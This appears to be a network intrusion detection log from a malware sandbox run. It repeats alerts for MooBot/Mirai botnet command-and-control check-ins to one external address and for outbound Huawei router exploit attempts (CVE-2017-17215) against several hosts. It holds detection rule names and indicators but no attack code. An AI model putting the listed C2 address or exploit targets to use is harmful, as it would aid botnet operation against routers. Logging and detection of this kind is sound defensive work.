Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:37.095509
SID:	2030490
Source Port:	56956
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:51.265346
SID:	2030490
Source Port:	56998
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:28.157342
SID:	2030490
Source Port:	57084
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:28.397432
SID:	2030490
Source Port:	56934
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:36.332589
SID:	2030490
Source Port:	56954
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:50.444161
SID:	2030490
Source Port:	56996
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:21.073722
SID:	2030490
Source Port:	57062
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:14.669027
SID:	2030490
Source Port:	56912
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:15.579261
SID:	2030490
Source Port:	57048
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.246.46.163

Timestamp:	03/17/24-03:44:30.371867
SID:	2829579
Source Port:	56806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:42.588102
SID:	2030490
Source Port:	56974
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:43.374173
SID:	2030490
Source Port:	56976
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:06.671232
SID:	2030490
Source Port:	57026
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:20.293067
SID:	2030490
Source Port:	57060
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:22.650983
SID:	2030490
Source Port:	57068
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:13.882970
SID:	2030490
Source Port:	56910
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:14.808089
SID:	2030490
Source Port:	57046
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:27.351941
SID:	2030490
Source Port:	57082
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:27.598588
SID:	2030490
Source Port:	56932
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:34.717017
SID:	2030490
Source Port:	56950
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:41.013441
SID:	2030490
Source Port:	56970
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:41.804472
SID:	2030490
Source Port:	56972
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:48.873639
SID:	2030490
Source Port:	56992
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:49.642745
SID:	2030490
Source Port:	56994
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:55.458829
SID:	2030490
Source Port:	57160
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:35.530908
SID:	2030490
Source Port:	56952
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:26.835094
SID:	2030490
Source Port:	56930
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 154.215.111.49

Timestamp:	03/17/24-03:44:35.718754
SID:	2829579
Source Port:	53444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:04.318339
SID:	2030490
Source Port:	57020
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:01.220876
SID:	2030490
Source Port:	56878
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:52.052853
SID:	2030490
Source Port:	57000
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:13.218593
SID:	2030490
Source Port:	57042
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:28.925086
SID:	2030490
Source Port:	57086
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:42:56.572013
SID:	2030490
Source Port:	56866
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:50.750733
SID:	2030490
Source Port:	57148
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 147.46.253.53

Timestamp:	03/17/24-03:43:46.553558
SID:	2835222
Source Port:	53410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:49.947633
SID:	2030490
Source Port:	57146
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:34.392239
SID:	2030490
Source Port:	57102
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:42:54.952211
SID:	2030490
Source Port:	56862
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:42:55.768625
SID:	2030490
Source Port:	56864
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:35.162074
SID:	2030490
Source Port:	57104
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:47.541721
SID:	2030490
Source Port:	57140
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:23.445638
SID:	2030490
Source Port:	57070
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:48.360234
SID:	2030490
Source Port:	57142
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:49.159388
SID:	2030490
Source Port:	57144
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:07.447096
SID:	2030490
Source Port:	57028
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:11.470894
SID:	2030490
Source Port:	56904
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:33.621813
SID:	2030490
Source Port:	57100
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:33.935327
SID:	2030490
Source Port:	56948
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:12.246770
SID:	2030490
Source Port:	56906
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:29.990821
SID:	2030490
Source Port:	56938
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:13.062853
SID:	2030490
Source Port:	56908
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.119.20.169

Timestamp:	03/17/24-03:43:37.068764
SID:	2829579
Source Port:	42624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 147.46.253.53

Timestamp:	03/17/24-03:43:46.553558
SID:	2829579
Source Port:	53410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.246.46.163

Timestamp:	03/17/24-03:44:30.371867
SID:	2835222
Source Port:	56806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:35.928966
SID:	2030490
Source Port:	57108
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:54.654456
SID:	2030490
Source Port:	57158
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:45.992001
SID:	2030490
Source Port:	57136
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:46.762671
SID:	2030490
Source Port:	57138
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.49.173.209

Timestamp:	03/17/24-03:44:22.072357
SID:	2829579
Source Port:	51722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:38.274800
SID:	2030490
Source Port:	57114
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:39.032270
SID:	2030490
Source Port:	57116
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:53.873066
SID:	2030490
Source Port:	57156
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 198.27.92.37

Timestamp:	03/17/24-03:43:58.344253
SID:	2835222
Source Port:	54892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.87.88.166

Timestamp:	03/17/24-03:44:42.999111
SID:	2835222
Source Port:	51512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:43.674907
SID:	2030490
Source Port:	57130
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:52.316215
SID:	2030490
Source Port:	57152
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.119.20.169

Timestamp:	03/17/24-03:43:37.068764
SID:	2835222
Source Port:	42624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:12.414888
SID:	2030490
Source Port:	57038
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:53.096522
SID:	2030490
Source Port:	57154
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:44.443310
SID:	2030490
Source Port:	57132
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:45.215931
SID:	2030490
Source Port:	57134
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:36.707160
SID:	2030490
Source Port:	57110
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:37.495343
SID:	2030490
Source Port:	57112
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:10.848875
SID:	2030490
Source Port:	57034
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:40.240526
SID:	2030490
Source Port:	56968
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:32.848474
SID:	2030490
Source Port:	57098
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:33.151186
SID:	2030490
Source Port:	56946
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:18.755331
SID:	2030490
Source Port:	57056
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:25.770031
SID:	2030490
Source Port:	57078
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:19.489684
SID:	2030490
Source Port:	56924
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:39.452225
SID:	2030490
Source Port:	56966
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:10.691886
SID:	2030490
Source Port:	56902
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:56.926511
SID:	2030490
Source Port:	57012
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:58.549583
SID:	2030490
Source Port:	57016
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:47.307723
SID:	2030490
Source Port:	56988
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:18.686046
SID:	2030490
Source Port:	56922
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:38.652776
SID:	2030490
Source Port:	56964
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:31.290649
SID:	2030490
Source Port:	57094
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:31.609168
SID:	2030490
Source Port:	56942
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:32.379809
SID:	2030490
Source Port:	56944
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:19.521848
SID:	2030490
Source Port:	57058
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:24.224471
SID:	2030490
Source Port:	57072
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:11.615033
SID:	2030490
Source Port:	57036
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:16.382650
SID:	2030490
Source Port:	57050
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:30.482807
SID:	2030490
Source Port:	57092
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:09.913053
SID:	2030490
Source Port:	56900
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:43:57.747448
SID:	2030490
Source Port:	57014
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.172.79.74

Timestamp:	03/17/24-03:44:51.529461
SID:	2030490
Source Port:	57150
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

